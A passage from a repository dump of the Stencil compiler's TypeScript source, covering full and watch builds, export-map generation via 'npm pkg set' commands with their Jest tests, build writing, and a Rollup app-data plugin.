apply to a full build of a Stencil project * @param compilerCtx the current Stencil compiler context * @returns the results of a full build of Stencil */ export const createFullBuild = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, ): Promise => { return new Promise((resolve) => { let tsWatchProgram: ts.WatchOfConfigFile = null; compilerCtx.events.on('fileUpdate', (p) => { config.logger.debug(`fileUpdate: ${p}`); compilerCtx.fs.clearFileCache(p); }); /** * A function that kicks off the transpilation process for both the TypeScript and Stencil compilers * @param tsBuilder the manager of the {@link ts.Program} state */ const onBuild = async (tsBuilder: ts.BuilderProgram): Promise => { const buildCtx = new BuildContext(config, compilerCtx); buildCtx.isRebuild = false; buildCtx.requiresFullBuild = true; buildCtx.start(); const result = await build(config, compilerCtx, buildCtx, tsBuilder); if (result !== null) { if (tsWatchProgram) { tsWatchProgram.close(); tsWatchProgram = null; } resolve(result); } else { // Build returned null, indicating a rebuild is needed (e.g., components.d.ts was just generated). // Close the current TS program and create a fresh one that includes components.d.ts. if (tsWatchProgram) { tsWatchProgram.close(); tsWatchProgram = null; } config.logger.debug('Rebuilding with fresh TypeScript program after components.d.ts generation'); createTsBuildProgram(config, onBuild).then((program) => { tsWatchProgram = program; }); } }; createTsBuildProgram(config, onBuild).then((program) => { tsWatchProgram = program; }); }); }; ================================================ FILE: src/compiler/build/test/build-stats.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockBuildCtx, mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing'; import { result } from '@utils'; import { generateBuildResults } from '../build-results'; import { generateBuildStats } from '../build-stats'; describe('generateBuildStats', () => { let config: d.ValidatedConfig; let compilerCtx: d.CompilerCtx; let buildCtx: d.BuildCtx; beforeEach(() => { config = mockValidatedConfig(); compilerCtx = mockCompilerCtx(config); buildCtx = mockBuildCtx(config, compilerCtx); }); it('should return a structured json object', async () => { buildCtx.buildResults = generateBuildResults(config, compilerCtx, buildCtx); const compilerBuildStats = result.unwrap(generateBuildStats(config, buildCtx)); if (compilerBuildStats.hasOwnProperty('timestamp')) { delete compilerBuildStats.timestamp; } if (compilerBuildStats.hasOwnProperty('compiler') && compilerBuildStats.compiler.hasOwnProperty('version')) { delete compilerBuildStats.compiler.version; } expect(compilerBuildStats).toStrictEqual({ app: { bundles: 0, components: 0, entries: 0, fsNamespace: 'testing', namespace: 'Testing', outputs: [] }, collections: [], compiler: { name: 'in-memory' }, componentGraph: {}, components: [], entries: [], formats: { commonjs: [], es5: [], esm: [], esmBrowser: [], system: [] }, options: { buildEs5: false, hashFileNames: false, hashedFileNameLength: 8, minifyCss: false, minifyJs: false, }, rollupResults: { modules: [], }, sourceGraph: {}, }); }); it('should return diagnostics if an error is hit', async () => { buildCtx.buildResults = generateBuildResults(config, compilerCtx, buildCtx); buildCtx.buildResults.hasError = true; const diagnostic: d.Diagnostic = { level: 'error', type: 'horrible', messageText: 'the worst error _possible_ has just occurred', lines: [], }; buildCtx.buildResults.diagnostics = [diagnostic]; const diagnostics = result.unwrapErr(generateBuildStats(config, buildCtx)); expect(diagnostics).toStrictEqual({ diagnostics: [diagnostic], }); }); }); ================================================ FILE: src/compiler/build/test/write-export-maps.spec.ts ================================================ import { mockBuildCtx, mockValidatedConfig } from '@stencil/core/testing'; import childProcess from 'child_process'; import * as d from '../../../declarations'; import { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub'; import { writeExportMaps } from '../write-export-maps'; describe('writeExportMaps', () => { let config: d.ValidatedConfig; let buildCtx: d.BuildCtx; let execSyncSpy: jest.SpyInstance; beforeEach(() => { config = mockValidatedConfig(); buildCtx = mockBuildCtx(config); execSyncSpy = jest.spyOn(childProcess, 'execSync').mockImplementation(() => ''); }); afterEach(() => { jest.clearAllMocks(); }); it('should not generate any exports if there are no output targets', () => { writeExportMaps(config, buildCtx); expect(execSyncSpy).toHaveBeenCalledTimes(0); }); it('should generate the default exports for the lazy build if present', () => { config.outputTargets = [ { type: 'dist', dir: '/dist', typesDir: '/dist/types', }, ]; writeExportMaps(config, buildCtx); expect(execSyncSpy).toHaveBeenCalledTimes(3); expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set "exports[.][import]"="./dist/index.js"`); expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set "exports[.][require]"="./dist/index.cjs.js"`); expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set "exports[.][types]"="./dist/types/index.d.ts"`); }); it('should generate the default exports for the custom elements build if present', () => { config.outputTargets = [ { type: 'dist-custom-elements', dir: '/dist/components', generateTypeDeclarations: true, }, ]; writeExportMaps(config, buildCtx); expect(execSyncSpy).toHaveBeenCalledTimes(2); expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set "exports[.][import]"="./dist/components/index.js"`); expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set "exports[.][types]"="./dist/components/index.d.ts"`); }); it('should generate the lazy loader exports if the output target is present', () => { config.rootDir = '/'; config.outputTargets.push({ type: 'dist-lazy-loader', dir: '/dist/lazy-loader', empty: true, esmDir: '/dist/esm', cjsDir: '/dist/cjs', componentDts: '/dist/components.d.ts', }); writeExportMaps(config, buildCtx); expect(execSyncSpy).toHaveBeenCalledTimes(3); expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set "exports[./loader][import]"="./dist/lazy-loader/index.js"`); expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set "exports[./loader][require]"="./dist/lazy-loader/index.cjs"`); expect(execSyncSpy).toHaveBeenCalledWith(`npm pkg set "exports[./loader][types]"="./dist/lazy-loader/index.d.ts"`); }); it('should generate the custom elements exports if the output target is present', () => { config.rootDir = '/'; config.outputTargets.push({ type: 'dist-custom-elements', dir: '/dist/components', generateTypeDeclarations: true, }); buildCtx.components = [ stubComponentCompilerMeta({ tagName: 'my-component', componentClassName: 'MyComponent', }), ]; writeExportMaps(config, buildCtx); expect(execSyncSpy).toHaveBeenCalledTimes(4); expect(execSyncSpy).toHaveBeenCalledWith( `npm pkg set "exports[./my-component][import]"="./dist/components/my-component.js"`, ); expect(execSyncSpy).toHaveBeenCalledWith( `npm pkg set "exports[./my-component][types]"="./dist/components/my-component.d.ts"`, ); }); it('should generate the custom elements exports for multiple components', () => { config.rootDir = '/'; config.outputTargets.push({ type: 'dist-custom-elements', dir: '/dist/components', generateTypeDeclarations: true, }); buildCtx.components = [ stubComponentCompilerMeta({ tagName: 'my-component', componentClassName: 'MyComponent', }), stubComponentCompilerMeta({ tagName: 'my-other-component', componentClassName: 'MyOtherComponent', }), ]; writeExportMaps(config, buildCtx); expect(execSyncSpy).toHaveBeenCalledTimes(6); expect(execSyncSpy).toHaveBeenCalledWith( `npm pkg set "exports[./my-component][import]"="./dist/components/my-component.js"`, ); expect(execSyncSpy).toHaveBeenCalledWith( `npm pkg set "exports[./my-component][types]"="./dist/components/my-component.d.ts"`, ); expect(execSyncSpy).toHaveBeenCalledWith( `npm pkg set "exports[./my-other-component][import]"="./dist/components/my-other-component.js"`, ); expect(execSyncSpy).toHaveBeenCalledWith( `npm pkg set "exports[./my-other-component][types]"="./dist/components/my-other-component.d.ts"`, ); }); }); ================================================ FILE: src/compiler/build/validate-files.ts ================================================ import type * as d from '../../declarations'; import { validateManifestJson } from '../html/validate-manifest-json'; import { validateBuildPackageJson } from '../types/validate-build-package-json'; /** * Validate the existence and contents of certain files that were generated after writing the results of the build to * disk * @param config the Stencil configuration used for the build * @param compilerCtx the compiler context associated with the build * @param buildCtx the build context associated with the current build * @returns an array containing empty-Promise results */ export const validateBuildFiles = ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, ): Promise<(void | void[] | null)[]> | null => { if (buildCtx.hasError) { return null; } return Promise.all([ validateBuildPackageJson(config, compilerCtx, buildCtx), validateManifestJson(config, compilerCtx, buildCtx), ]); }; ================================================ FILE: src/compiler/build/watch-build.ts ================================================ import { isString, resolve } from '@utils'; import { dirname } from 'path'; import type ts from 'typescript'; import type * as d from '../../declarations'; import { compilerRequest } from '../bundle/dev-module'; import { filesChanged, hasHtmlChanges, hasScriptChanges, hasStyleChanges, isWatchIgnorePath, scriptsAdded, scriptsDeleted, } from '../fs-watch/fs-watch-rebuild'; import { hasServiceWorkerChanges } from '../service-worker/generate-sw'; import { createTsWatchProgram } from '../transpile/create-watch-program'; import { build } from './build'; import { BuildContext } from './build-ctx'; /** * This method contains context and functionality for a TS watch build. This is called via * the compiler when running a build in watch mode (i.e. `stencil build --watch`). * * In essence, this method tracks all files that change while the program is running to trigger * a rebuild of a Stencil project using a {@link ts.EmitAndSemanticDiagnosticsBuilderProgram}. * * @param config The validated config for the Stencil project * @param compilerCtx The compiler context for the project * @returns An object containing helper methods for the dev-server's watch program */ export const createWatchBuild = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, ): Promise => { let isRebuild = false; let tsWatchProgram: { program: ts.WatchOfConfigFile; rebuild: () => void; }; let closeResolver: Function; const watchWaiter = new Promise((resolve) => (closeResolver = resolve)); const dirsAdded = new Set(); const dirsDeleted = new Set(); const filesAdded = new Set(); const filesUpdated = new Set(); const filesDeleted = new Set(); /** * A callback function that is invoked to trigger a rebuild of a Stencil project. This will * update the build context with the associated file changes (these are used downstream to trigger * HMR) and then calls the `build()` function to execute the Stencil build. * * @param tsBuilder A {@link ts.BuilderProgram} to be passed to the `build()` function. */ const onBuild = async (tsBuilder: ts.BuilderProgram) => { const buildCtx = new BuildContext(config, compilerCtx); buildCtx.isRebuild = isRebuild; buildCtx.requiresFullBuild = !isRebuild; buildCtx.dirsAdded = Array.from(dirsAdded.keys()).sort(); buildCtx.dirsDeleted = Array.from(dirsDeleted.keys()).sort(); buildCtx.filesAdded = Array.from(filesAdded.keys()).sort(); buildCtx.filesUpdated = Array.from(filesUpdated.keys()).sort(); buildCtx.filesDeleted = Array.from(filesDeleted.keys()).sort(); buildCtx.filesChanged = filesChanged(buildCtx); buildCtx.scriptsAdded = scriptsAdded(buildCtx); buildCtx.scriptsDeleted = scriptsDeleted(buildCtx); buildCtx.hasScriptChanges = hasScriptChanges(buildCtx); buildCtx.hasStyleChanges = hasStyleChanges(buildCtx); buildCtx.hasHtmlChanges = hasHtmlChanges(config, buildCtx); buildCtx.hasServiceWorkerChanges = hasServiceWorkerChanges(config, buildCtx); if (config.flags.debug) { config.logger.debug(`WATCH_BUILD::watchBuild::onBuild filesAdded: ${formatFilesForDebug(buildCtx.filesAdded)}`); config.logger.debug( `WATCH_BUILD::watchBuild::onBuild filesDeleted: ${formatFilesForDebug(buildCtx.filesDeleted)}`, ); config.logger.debug( `WATCH_BUILD::watchBuild::onBuild filesUpdated: ${formatFilesForDebug(buildCtx.filesUpdated)}`, ); config.logger.debug( `WATCH_BUILD::watchBuild::onBuild filesWritten: ${formatFilesForDebug(buildCtx.filesWritten)}`, ); } // Make sure all files in the module map are still in the fs // Otherwise, we can run into build errors because the compiler can think // there are two component files with the same tag name Array.from(compilerCtx.moduleMap.keys()).forEach((key) => { if (filesUpdated.has(key) || filesDeleted.has(key)) { // Check if the file exists in the fs const fileExists = compilerCtx.fs.accessSync(key); if (!fileExists) { compilerCtx.moduleMap.delete(key); } } }); // Make sure all added/updated files are watched // We need to check both added/updates since the TS watch program behaves kinda weird // and doesn't always handle file renames the same way new Set([...filesUpdated, ...filesAdded]).forEach((filePath) => { compilerCtx.addWatchFile(filePath); }); dirsAdded.clear(); dirsDeleted.clear(); filesAdded.clear(); filesUpdated.clear(); filesDeleted.clear(); emitFsChange(compilerCtx, buildCtx); buildCtx.start(); // Rebuild the project const result = await build(config, compilerCtx, buildCtx, tsBuilder); if (result && !result.hasError) { isRebuild = true; } }; /** * Utility method for formatting a debug message that must either list a number of files, or the word 'none' if the * provided list is empty * * @param files a list of files, the list may be empty * @returns the provided list if it is not empty. otherwise, return the word 'none' */ const formatFilesForDebug = (files: ReadonlyArray): string => { /** * In the created message, it's important that there's no whitespace prior to the file name. * Stencil's logger will split messages by whitespace according to the width of the terminal window. * Since file names can be fully qualified paths (and therefore quite long), putting whitespace between a '-' and * the path can lead to formatted messages where the '-' is on its own line */ return files.length > 0 ? files.map((filename: string) => `-${filename}`).join('\n') : 'none'; }; /** * Utility method to start/construct the watch program. This will mark * all relevant files to be watched and then call a method to build the TS * program responsible for building the project. * * @returns A promise of the result of creating the watch program. */ const start = async () => { /** * Stencil watches the following directories for changes: */ await Promise.all([ /** * the `srcDir` directory, e.g. component files */ watchFiles(compilerCtx, config.srcDir), /** * the root directory, e.g. `stencil.config.ts` */ watchFiles(compilerCtx, config.rootDir, { recursive: false, }), /** * the external directories, defined in `watchExternalDirs`, e.g. `node_modules` */ ...(config.watchExternalDirs || []).map((dir) => watchFiles(compilerCtx, dir)), ]); tsWatchProgram = await createTsWatchProgram(config, onBuild); return watchWaiter; }; /** * A map of absolute directory paths and their associated {@link d.CompilerFileWatcher} (which contains * the ability to teardown the watcher for the specific directory) */ const watchingDirs = new Map(); /** * A map of absolute file paths and their associated {@link d.CompilerFileWatcher} (which contains * the ability to teardown the watcher for the specific file) */ const watchingFiles = new Map(); /** * Callback method that will execute whenever TS alerts us that a file change * has occurred. This will update the appropriate set with the file path based on the * type of change, and then will kick off a rebuild of the project. * * @param filePath The absolute path to the file in the Stencil project * @param eventKind The type of file change that occurred (update, add, delete) */ const onFsChange: d.CompilerFileWatcherCallback = (filePath, eventKind) => { if (tsWatchProgram && !isWatchIgnorePath(config, filePath)) { updateCompilerCtxCache(config, compilerCtx, filePath, eventKind); switch (eventKind) { case 'dirAdd': dirsAdded.add(filePath); break; case 'dirDelete': dirsDeleted.add(filePath); break; case 'fileAdd': filesAdded.add(filePath); break; case 'fileUpdate': filesUpdated.add(filePath); break; case 'fileDelete': filesDeleted.add(filePath); break; } config.logger.debug( `WATCH_BUILD::fs_event_change - type=${eventKind}, path=${filePath}, time=${new Date().getTime()}`, ); // Trigger a rebuild of the project tsWatchProgram.rebuild(); } }; /** * Callback method that will execute when TS alerts us that a directory modification has occurred. * This will just call the `onFsChange()` callback method with the same arguments. * * @param filePath The absolute path to the file in the Stencil project * @param eventKind The type of file change that occurred (update, add, delete) */ const onDirChange: d.CompilerFileWatcherCallback = (filePath, eventKind) => { if (eventKind != null) { onFsChange(filePath, eventKind); } }; /** * Utility method to teardown the TS watch program and close/clear all watched files. * * @returns An object with the `exitCode` status of the teardown. */ const close = async () => { watchingDirs.forEach((w) => w.close()); watchingFiles.forEach((w) => w.close()); watchingDirs.clear(); watchingFiles.clear(); if (tsWatchProgram) { tsWatchProgram.program.close(); tsWatchProgram = null; } const watcherCloseResults: d.WatcherCloseResults = { exitCode: 0, }; closeResolver(watcherCloseResults); return watcherCloseResults; }; const request = async (data: d.CompilerRequest) => compilerRequest(config, compilerCtx, data); // Add a definition to the `compilerCtx` for `addWatchFile` // This method will add the specified file path to the watched files collection and instruct // the `CompilerSystem` what to do when a file change occurs (the `onFsChange()` callback) compilerCtx.addWatchFile = (filePath) => { if (isString(filePath) && !watchingFiles.has(filePath) && !isWatchIgnorePath(config, filePath)) { watchingFiles.set(filePath, config.sys.watchFile(filePath, onFsChange)); } }; // Add a definition to the `compilerCtx` for `addWatchDir` // This method will add the specified file path to the watched directories collection and instruct // the `CompilerSystem` what to do when a directory change occurs (the `onDirChange()` callback) compilerCtx.addWatchDir = (dirPath, recursive) => { if (isString(dirPath) && !watchingDirs.has(dirPath) && !isWatchIgnorePath(config, dirPath)) { watchingDirs.set(dirPath, config.sys.watchDirectory(dirPath, onDirChange, recursive)); } }; // When the compiler system destroys, we need to also destroy this watch program config.sys.addDestroy(close); return { start, close, on: compilerCtx.events.on, request, }; }; /** * A list of directories that are excluded from being watched for changes. */ const EXCLUDE_DIRS = ['.cache', '.git', '.github', '.stencil', '.vscode', 'node_modules']; /** * A list of file extensions that are excluded from being watched for changes. */ const EXCLUDE_EXTENSIONS = [ '.md', '.markdown', '.txt', '.spec.ts', '.spec.tsx', '.e2e.ts', '.e2e.tsx', '.gitignore', '.editorconfig', ]; /** * Marks all root files of a Stencil project to be watched for changes. Whenever * one of these files is determined as changed (according to TS), a rebuild of the project will execute. * * @param compilerCtx The compiler context for the Stencil project * @param dir The directory to watch for changes * @param options The options to watch files in the directory * @param options.recursive Whether to watch files recursively * @param options.excludeDirNames A list of directories to exclude from being watched * @param options.excludeExtensions A list of file extensions to exclude from being watched for changes */ const watchFiles = async ( compilerCtx: d.CompilerCtx, dir: string, options?: { recursive?: boolean; excludeDirNames?: string[]; excludeExtensions?: string[]; }, ) => { const recursive = options?.recursive ?? true; const excludeDirNames = options?.excludeDirNames ?? EXCLUDE_DIRS; const excludeExtensions = options?.excludeExtensions ?? EXCLUDE_EXTENSIONS; /** * non-src files that cause a rebuild * mainly for root level config files, and getting an event when they change */ const rootFiles = await compilerCtx.fs.readdir(dir, { recursive, excludeDirNames, excludeExtensions, }); /** * If the directory is watched recursively, we need to watch the directory itself. */ if (recursive) { compilerCtx.addWatchDir(dir, true); } /** * Iterate over each file in the collection (filter out directories) and add * a watcher for each */ rootFiles.filter(({ isFile }) => isFile).forEach(({ absPath }) => compilerCtx.addWatchFile(absPath)); }; const emitFsChange = (compilerCtx: d.CompilerCtx, buildCtx: BuildContext) => { if ( buildCtx.dirsAdded.length > 0 || buildCtx.dirsDeleted.length > 0 || buildCtx.filesUpdated.length > 0 || buildCtx.filesAdded.length > 0 || buildCtx.filesDeleted.length > 0 ) { compilerCtx.events.emit('fsChange', { dirsAdded: buildCtx.dirsAdded.slice(), dirsDeleted: buildCtx.dirsDeleted.slice(), filesUpdated: buildCtx.filesUpdated.slice(), filesAdded: buildCtx.filesAdded.slice(), filesDeleted: buildCtx.filesDeleted.slice(), }); } }; const updateCompilerCtxCache = ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, path: string, kind: d.CompilerFileWatcherEvent, ) => { compilerCtx.fs.clearFileCache(path); compilerCtx.changedFiles.add(path); if (kind === 'fileDelete') { compilerCtx.moduleMap.delete(path); } else if (kind === 'dirDelete') { const fsRootDir = resolve('/'); compilerCtx.moduleMap.forEach((_, moduleFilePath) => { let moduleAncestorDir = dirname(moduleFilePath); for (let i = 0; i < 50; i++) { if (moduleAncestorDir === config.rootDir || moduleAncestorDir === fsRootDir) { break; } if (moduleAncestorDir === path) { compilerCtx.fs.clearFileCache(moduleFilePath); compilerCtx.moduleMap.delete(moduleFilePath); compilerCtx.changedFiles.add(moduleFilePath); break; } moduleAncestorDir = dirname(moduleAncestorDir); } }); } }; ================================================ FILE: src/compiler/build/write-build.ts ================================================ import { catchError } from '@utils'; import * as d from '../../declarations'; import { outputServiceWorkers } from '../output-targets/output-service-workers'; import { validateBuildFiles } from './validate-files'; import { writeExportMaps } from './write-export-maps'; /** * Writes files to disk as a result of compilation * @param config the Stencil configuration used for the build * @param compilerCtx the compiler context associated with the build * @param buildCtx the build context associated with the current build */ export const writeBuild = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, ): Promise => { const timeSpan = buildCtx.createTimeSpan(`writeBuildFiles started`, true); let totalFilesWrote = 0; try { // commit all the `writeFile`, `mkdir`, `rmdir` and `unlink` operations to disk const commitResults = await compilerCtx.fs.commit(); // get the results from the write to disk commit buildCtx.filesWritten = commitResults.filesWritten; buildCtx.filesDeleted = commitResults.filesDeleted; buildCtx.dirsDeleted = commitResults.dirsDeleted; buildCtx.dirsAdded = commitResults.dirsAdded; totalFilesWrote = commitResults.filesWritten.length; // successful write // kick off writing the cached file stuff await compilerCtx.cache.commit(); buildCtx.debug(`in-memory-fs: ${compilerCtx.fs.getMemoryStats()}`); buildCtx.debug(`cache: ${compilerCtx.cache.getMemoryStats()}`); if (config.generateExportMaps) { writeExportMaps(config, buildCtx); } await outputServiceWorkers(config, buildCtx); await validateBuildFiles(config, compilerCtx, buildCtx); } catch (e: any) { catchError(buildCtx.diagnostics, e); } timeSpan.finish(`writeBuildFiles finished, files wrote: ${totalFilesWrote}`); }; ================================================ FILE: src/compiler/build/write-export-maps.ts ================================================ import { isEligiblePrimaryPackageOutputTarget, isOutputTargetDistCustomElements, isOutputTargetDistLazyLoader, } from '@utils'; import { relative } from '@utils'; import { execSync } from 'child_process'; import * as d from '../../declarations'; import { PRIMARY_PACKAGE_TARGET_CONFIGS } from '../types/validate-primary-package-output-target'; /** * Create export map entry point definitions for the `package.json` file using the npm CLI. * This will generate a root entry point for the package, as well as entry points for each component and * the lazy loader (if applicable). * * @param config The validated Stencil config * @param buildCtx The build context containing the components to generate export maps for */ export const writeExportMaps = (config: d.ValidatedConfig, buildCtx: d.BuildCtx) => { const eligiblePrimaryTargets = config.outputTargets.filter(isEligiblePrimaryPackageOutputTarget); if (eligiblePrimaryTargets.length > 0) { const primaryTarget = eligiblePrimaryTargets.find((o) => o.isPrimaryPackageOutputTarget) ?? eligiblePrimaryTargets[0]; const outputTargetConfig = PRIMARY_PACKAGE_TARGET_CONFIGS[primaryTarget.type]; if (outputTargetConfig.getModulePath) { const importPath = outputTargetConfig.getModulePath(config.rootDir, primaryTarget.dir!); if (importPath) { execSync(`npm pkg set "exports[.][import]"="${importPath}"`); } } if (outputTargetConfig.getMainPath) { const requirePath = outputTargetConfig.getMainPath(config.rootDir, primaryTarget.dir!); if (requirePath) { execSync(`npm pkg set "exports[.][require]"="${requirePath}"`); } } if (outputTargetConfig.getTypesPath) { const typesPath = outputTargetConfig.getTypesPath(config.rootDir, primaryTarget); if (typesPath) { execSync(`npm pkg set "exports[.][types]"="${typesPath}"`); } } } const distLazyLoader = config.outputTargets.find(isOutputTargetDistLazyLoader); if (distLazyLoader != null) { // Calculate relative path from project root to lazy-loader output directory let outDir = relative(config.rootDir, distLazyLoader.dir); if (!outDir.startsWith('.')) { outDir = './' + outDir; } execSync(`npm pkg set "exports[./loader][import]"="${outDir}/index.js"`); execSync(`npm pkg set "exports[./loader][require]"="${outDir}/index.cjs"`); execSync(`npm pkg set "exports[./loader][types]"="${outDir}/index.d.ts"`); } const distCustomElements = config.outputTargets.find(isOutputTargetDistCustomElements); if (distCustomElements != null) { // Calculate relative path from project root to custom elements output directory let outDir = relative(config.rootDir, distCustomElements.dir!); if (!outDir.startsWith('.')) { outDir = './' + outDir; } buildCtx.components.forEach((cmp) => { execSync(`npm pkg set "exports[./${cmp.tagName}][import]"="${outDir}/${cmp.tagName}.js"`); if (distCustomElements.generateTypeDeclarations) { execSync(`npm pkg set "exports[./${cmp.tagName}][types]"="${outDir}/${cmp.tagName}.d.ts"`); } }); } }; ================================================ FILE: src/compiler/bundle/app-data-plugin.ts ================================================ import { createJsVarName, isString, loadTypeScriptDiagnostics, normalizePath } from '@utils'; import MagicString from 'magic-string'; import { basename } from 'path'; import type { LoadResult, Plugin, ResolveIdResult, TransformResult } from 'rollup'; import ts from 'typescript'; import type * as d from '../../declarations'; import type { BundlePlatform } from './bundle-interface'; import { removeCollectionImports } from '../transformers/remove-collection-imports'; import { APP_DATA_CONDITIONAL, STENCIL_APP_DATA_ID, STENCIL_APP_GLOBALS_ID } from './entry-alias-ids'; /** * A Rollup plugin which bundles application data. * * @param config the Stencil configuration for a particular project * @param compilerCtx the current compiler context * @param buildCtx the current build context * @param buildConditionals the set build conditionals for the build * @param platform the platform that is being built * @returns a Rollup plugin which carries out the necessary work */ export const appDataPlugin = ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, buildConditionals: d.BuildConditionals, platform: BundlePlatform, ): Plugin => { if (!platform) { return { name: 'appDataPlugin', }; } const globalScripts = getGlobalScriptData(config, compilerCtx); return { name: 'appDataPlugin', resolveId(id: string, importer: string | undefined): ResolveIdResult { if (id === STENCIL_APP_DATA_ID || id === STENCIL_APP_GLOBALS_ID) { if (platform === 'worker') { this.error('@stencil/core packages cannot be imported from a worker.'); } if (platform === 'hydrate' || STENCIL_APP_GLOBALS_ID) { // hydrate will always bundle app-data and runtime // and the load() fn will build a custom globals import return id; } else if (platform === 'client' && importer && importer.endsWith(APP_DATA_CONDITIONAL)) { // since the importer ends with ?app-data=conditional we know that // we need to build custom app-data based off of component metadata // return the same "id" so that the "load()" method knows to // build custom app-data return id; } // for a client build that does not have ?app-data=conditional at the end then we // do not want to create custom app-data, but should use the default } return null; }, async load(id: string): Promise { if (id === STENCIL_APP_GLOBALS_ID) { const s = new MagicString(``); appendGlobalScripts(globalScripts, s); await appendGlobalStyles(buildCtx, s, platform); return s.toString(); } if (id === STENCIL_APP_DATA_ID) { // build custom app-data based off of component metadata const s = new MagicString(``); appendNamespace(config, s); appendBuildConditionals(config, buildConditionals, s); appendEnv(config, s); return s.toString(); } if (id !== config.globalScript) { return null; } const module = compilerCtx.moduleMap.get(config.globalScript); if (!module) { return null; } else if (!module.sourceMapFileText) { return { code: module.staticSourceFileText, map: null, }; } const sourceMap: d.SourceMap = JSON.parse(module.sourceMapFileText); sourceMap.sources = sourceMap.sources.map((src) => basename(src)); return { code: module.staticSourceFileText, map: sourceMap }; }, transform(code: string, id: string): TransformResult { id = normalizePath(id); if (globalScripts.some((s) => s.path === id)) { const program = this.parse(code, {}); const needsDefault = !(program as any).body.some((s: any) => s.type === 'ExportDefaultDeclaration'); if (needsDefault) { const diagnostic: d.Diagnostic = { level: 'warn', type: 'build', header: 'Missing default export in globalScript', messageText: `globalScript should export a default function.\nSee: https://stenciljs.com/docs/config#globalscript`, relFilePath: id, lines: [], }; buildCtx.diagnostics.push(diagnostic); } const defaultExport = needsDefault ? '\nexport const globalFn = () => {};\nexport default globalFn;' : ''; code = code + defaultExport; const compilerOptions: ts.CompilerOptions = { ...config.tsCompilerOptions }; compilerOptions.module = ts.ModuleKind.ESNext; const results = ts.transpileModule(code, { compilerOptions, fileName: id, transformers: { after: [removeCollectionImports(compilerCtx)], }, }); buildCtx.diagnostics.push(...loadTypeScriptDiagnostics(results.diagnostics)); if (config.sourceMap) { // generate the sourcemap for global script const codeMs = new MagicString(code); const codeMap = codeMs.generateMap({ source: id, // this is the name of the sourcemap, not to be confused with the `file` field in a generated sourcemap file: id + '.map', includeContent: true, hires: true, }); return { code: results.outputText, map: { ...codeMap, // MagicString changed their types in this PR: https://github.com/Rich-Harris/magic-string/pull/235 // so that their `sourcesContent` is of type `(string | null)[]`. But, it will only return `[null]` if // `includeContent` is set to `false`. Since we explicitly set `includeContent: true`, we can override // the type to satisfy Rollup's type expectation sourcesContent: codeMap.sourcesContent as string[], }, }; } return { code: results.outputText }; } return null; }, }; }; export const getGlobalScriptData = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx) => { const globalScripts: GlobalScript[] = []; if (isString(config.globalScript)) { const mod = compilerCtx.moduleMap.get(config.globalScript); const globalScript = compilerCtx.version === 2 ? config.globalScript : mod && mod.jsFilePath; if (globalScript) { globalScripts.push({ defaultName: createJsVarName(config.namespace + 'GlobalScript'), path: normalizePath(globalScript), }); } } compilerCtx.collections.forEach((collection) => { if (collection.global != null && isString(collection.global.sourceFilePath)) { let defaultName = createJsVarName(collection.collectionName + 'GlobalScript'); if (globalScripts.some((s) => s.defaultName === defaultName)) { defaultName += globalScripts.length; } globalScripts.push({ defaultName, path: normalizePath(collection.global.sourceFilePath), }); } }); return globalScripts; }; const appendGlobalScripts = (globalScripts: GlobalScript[], s: MagicString) => { if (globalScripts.length === 1) { s.prepend(`import * as appGlobalScriptNs from '${globalScripts[0].path}';\n`); s.prepend(`const appGlobalScript = appGlobalScriptNs.default || (() => {});\n`); s.append(`export const globalScripts = appGlobalScript;\n`); } else if (globalScripts.length > 1) { globalScripts.forEach((globalScript) => { s.prepend(`import * as ${globalScript.defaultName}Ns from '${globalScript.path}';\n`); s.prepend(`const ${globalScript.defaultName} = ${globalScript.defaultName}Ns.default || (() => {});\n`); }); s.append(`export const globalScripts = () => {\n`); s.append(` return Promise.all([\n`); globalScripts.forEach((globalScript) => { s.append(` ${globalScript.defaultName}(),\n`); }); s.append(` ]);\n`); s.append(`};\n`); } else { s.append(`export const globalScripts = () => {};\n`); } }; /** * Appends the global styles to the MagicString. * * @param buildCtx the build context * @param s the MagicString to append the global styles onto * @param platform the platform that is being built */ const appendGlobalStyles = async (buildCtx: d.BuildCtx, s: MagicString, platform: BundlePlatform) => { const { addGlobalStyleToComponents } = buildCtx.config.extras; const shouldIncludeGlobalStyles = addGlobalStyleToComponents === true || (addGlobalStyleToComponents === 'client' && platform === 'client'); const globalStyles = buildCtx.config.globalStyle && shouldIncludeGlobalStyles ? await buildCtx.stylesPromise : ''; s.append(`export const globalStyles = ${JSON.stringify(globalStyles)};\n`); }; /** * Generates the `BUILD` constant that is used at compile-time in a Stencil project * * **This function mutates the provided {@link MagicString} argument** * * @param config the configuration associated with the Stencil project * @param buildConditionals the build conditionals to serialize into a JS object * @param s a `MagicString` to append the generated constant onto */ export const appendBuildConditionals = ( config: d.ValidatedConfig, buildConditionals: d.BuildConditionals, s: MagicString, ): void => { const buildData = Object.keys(buildConditionals) .sort() .map((key) => key + ': ' + JSON.stringify((buildConditionals as any)[key])) .join(', '); s.append(`export const BUILD = /* ${config.fsNamespace} */ { ${buildData} };\n`); }; const appendEnv = (config: d.ValidatedConfig, s: MagicString) => { s.append(`export const Env = /* ${config.fsNamespace} */ ${JSON.stringify(config.env)};\n`); }; const appendNamespace = (config: d.ValidatedConfig, s: MagicString) => { s.append(`export const NAMESPACE = '${config.fsNamespace}';\n`); }; interface GlobalScript { defaultName: string; path: string; } ================================================ FILE: src/compiler/bundle/bundle-interface.ts ================================================ import type { PreserveEntrySignaturesOption } from 'rollup'; import type { SourceFile, TransformerFactory } from 'typescript'; import type { BuildConditionals } from '../../declarations'; /** * Options for bundled output passed on Rollup * * This covers the ID for the bundle, the platform it runs on, input modules, * and more 